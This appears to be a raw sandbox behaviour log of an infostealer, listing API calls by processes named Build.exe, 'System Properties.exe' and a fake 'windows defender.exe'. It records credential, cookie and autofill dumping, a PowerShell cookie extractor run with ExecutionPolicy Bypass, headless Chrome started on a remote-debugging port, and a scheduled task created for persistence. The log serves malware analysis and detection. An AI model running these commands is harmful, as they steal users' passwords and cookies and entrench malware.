"CopyFileW" to copy %APPDATA%\BrowserHistory-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetBrowserHistory.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\InstalledApps-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetInstalledApps.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\FirefoxCookies-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetFirefoxCookies.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\AlternativeEdgeCookies-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetAlternativeEdgeCookies.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\watch-output_20250917145800.html to new location %TEMP%\ZeroTrace_5ff9e131\AdapterWatch.html (UID: 00000000-00005992)35:T88c,"Launcher.exe" called "CreateDirectoryA" with parameter %TEMP%\ (UID: 00000000-00007048) "Launcher.exe" called "CreateDirectoryA" with parameter C:\Users (UID: 00000000-00007048) "Launcher.exe" called "CreateDirectoryA" with parameter C:\Users\%OSUSER% (UID: 00000000-00007048) "Launcher.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData (UID: 00000000-00007048) "Launcher.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00007048) "Launcher.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00007048) "Launcher.exe" called "CreateDirectoryA" with parameter %TEMP%\ (UID: 00000000-00005868) "Launcher.exe" called "CreateDirectoryA" with parameter C:\Users (UID: 00000000-00005868) "Launcher.exe" called "CreateDirectoryA" with parameter C:\Users\%OSUSER% (UID: 00000000-00005868) "Launcher.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData (UID: 00000000-00005868) "Launcher.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00005868) "Launcher.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00005868) "Build.exe" called "CreateDirectoryW" with parameter %TEMP%\ZeroTrace_5ff9e131 (UID: 00000000-00005992) "Build.exe" called "CreateDirectoryW" with parameter %TEMP%\ZeroTrace_5ff9e131\Screenshots (UID: 00000000-00005992) "Build.exe" called "CreateDirectoryW" with parameter %TEMP%\ZeroTrace_5ff9e131\Documents (UID: 00000000-00005992) "Build.exe" called "CreateDirectoryW" with parameter %TEMP%\CookieExtractor_b22e4547 (UID: 00000000-00005992) "windows defender.exe" called "CreateDirectoryW" with parameter %APPDATA%\7n5rJCiEX08cdKRQsT6vxkbuaZ (UID: 00000000-00006308) "windows defender.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\5059e175c69532982c361ef2eff5467a (UID: 00000000-00006308) "windows defender.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\5059e175c69532982c361ef2eff5467a\logs\clipboard\2025-09-17 (UID: 00000000-00006308) "explorer.exe" called "CreateDirectoryW" with parameter %APPDATA%\7n5rJCiEX08cdKRQsT6vxkbuaZ (UID: 00000000-00007364)36:Tb76,"Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\AlternativeEdgeCookies-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\FirefoxCookies-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\InstalledApps-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /shtml "%APPDATA%\watch-output_20250917145800.html"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ChromeV20-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\BrowserHistory-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\DefenderLogs-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\WorkingTasks-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\Bookmarks-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ProductKeys-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ExtensionsView-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\Autofill-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\AllPasswords-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""powershell.exe" -ExecutionPolicy Bypass -File "%TEMP%\CookieExtractor_b22e4547\cookieextract.ps1" -B" - (UID: 00000000-00005992) "System Properties.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System Properties" /tr "%ALLUSERSPROFILE%\System Prop" - (UID: 00000000-00006668), "powershell.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --dis" - (UID: 00000000-00007948), "cmd.exe" called "CreateProcessW" with parameter "timeout 3" - (UID: 00000000-00007352)37:T8268,"Launcher.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007048) "Launcher.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007048) "Launcher.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007048) "Launcher.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007048) "Launcher.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005868) "Launcher.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005868) "Launcher.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005868) "Launcher.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005868) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Net.Http\c1f72f0ca85cb675a88efe8f2067f7c8\System.Net.Http.ni.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005992) "Build.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005992) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %TEMP%\NTdll.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter NTdll.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %TEMP%\avicap32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter avicap32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %TEMP%\SHCore.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter SHCore.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00006668) "System Properties.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrcompression.dll (UID: 00000000-00006668) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006308) "windows defender.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00006308) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007364) 